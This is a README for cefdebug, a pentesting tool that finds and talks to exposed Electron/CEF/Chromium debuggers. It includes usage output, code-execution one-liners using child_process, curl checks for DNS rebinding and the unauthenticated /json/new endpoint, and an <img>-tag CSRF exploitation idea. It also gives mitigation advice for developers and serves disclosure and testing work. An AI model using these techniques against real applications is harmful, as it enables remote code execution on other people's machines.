This is a minimal commandline utility and/or reference code for using libwebsockets to connect to an electron/CEF/chromium debugger.

You're probably thinking, "who would enable the debugger in shipping products?". Well, it turns out just about everyone shipping electron or CEF has made this mistake at least once.

In some configurations, you can pop a shell remotely just by making a victim click a link.

Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=773

In older versions, you could pop a shell remotely using DNS rebinding.

Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1742

Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1946

In current versions, you can compromise other local users or escape sandboxes.

Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1944

It happens so often, that I thought pentesters might find it useful to have some code easily available to interact with them.

First, scan the local machine

$ ./cefdebug.exe
[2019/10/04 16:18:56:7288] U: There are 3 tcp sockets in state listen.
[2019/10/04 16:18:56:7766] U: There were 1 servers that appear to be CEF debuggers.
[2019/10/04 16:18:56:7816] U: ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a

Now you can send commands to that ws:// URL.

$ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
[2019/10/04 16:35:06:2645] U: >>> process.version
[2019/10/04 16:35:06:2685] U: <<< v10.11.0

Alternatively, you can start a simple interactive shell.

$ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a
>>> ['hello', 'world'].join(' ')
[2019/10/04 16:36:31:0964] U: <<< hello world
>>> a = 1024
[2019/10/04 16:36:44:5250] U: <<< 1024
>>> a * 2
[2019/10/04 16:36:48:3005] U: <<< 2048
>>> quit

Here are a list of code snippets I've seen that allow code exec in different electron applications.

process.mainModule.require('child_process').exec('calc')

window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")

require('child_process').spawnSync('calc.exe')

Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Here are things to test if you find a debugger.

• Does it prevent DNS rebinding?

$ curl -H 'Host: example.com' -si 'http://127.0.0.1:9234/json/list'

🚨 If that works (i.e. json response), this is remotely exploitable. 🚨

Newer versions of chromium require that the Host header match localhost or an IP address to prevent this. If this works, the application you're looking at is based on an older version of chromium, and leaving the debugger enabled can be remotely exploited. You have found a critical vulnerability and should report it urgently.

• Is the new command functioning?

$ curl -si 'http://127.0.0.1:9234/json/new?javascript:alert(1)'

🔥🚨 If that works (i.e. a json response), this is easily remotely exploitable. 🚨🔥

This command requires no authentication, and has no CSRF protection. Just <img src=http://127.0.0.1:port/json/new?javascript:...> in a website is enough to exploit it. Even if the port is randomized, it can be brute forced easily.

This is a very critical vulnerability, and should be reported urgently.

If you maintain a CEF project and you've noticed you're vulnerable to this attack, you probably need to change this setting in your cef_settings_t for production builds:

https://magpcss.org/ceforum/apidocs3/projects/(default)/_cef_settings_t.html#remote_debugging_port

In electron, it's possible you're doing something like:

app.commandLine.appendSwitch('remote-debugging-port'...)

If you're using node, perhaps you're using --inspect on child processes.

https://nodejs.org/de/docs/guides/debugging-getting-started/#security-implications

If you don't want to build it yourself, check out the releases tab

I used GNU make and Visual Studio 2019 to develop cefdebug.

If all the dependencies are installed, just typing make in a developer command prompt should be enough.

I use the "Build Tools" variant of Visual Studio, and the only components I have selected are MSVC, MSBuild, CMake and the SDK.

This project uses submodules for some of the dependencies, be sure that you're using a command like this to fetch all the required code.

git submodule update --init --recursive

The main depdencies are libwebsockets and libreadline.

On Fedora, try:

yum install readline-devel libwebsockets-devel openssl-devel

If the dependencies are intalled, try make -f GNUmakefile.linux

The code is intended to be simple enough to embed in other pentesting tools.

Tavis Ormandy taviso@gmail.com

All original code is Apache 2.0, See LICENSE file for details.

The following components are imported third party projects.

• wineditline, by Paolo Tosco.
  • wineditline is used to implement user friendly command-line input and history editing.
• libwebsockets, by Andy Green et al.
  • libwebsockets is a portable c implementation of HTML5 websockets.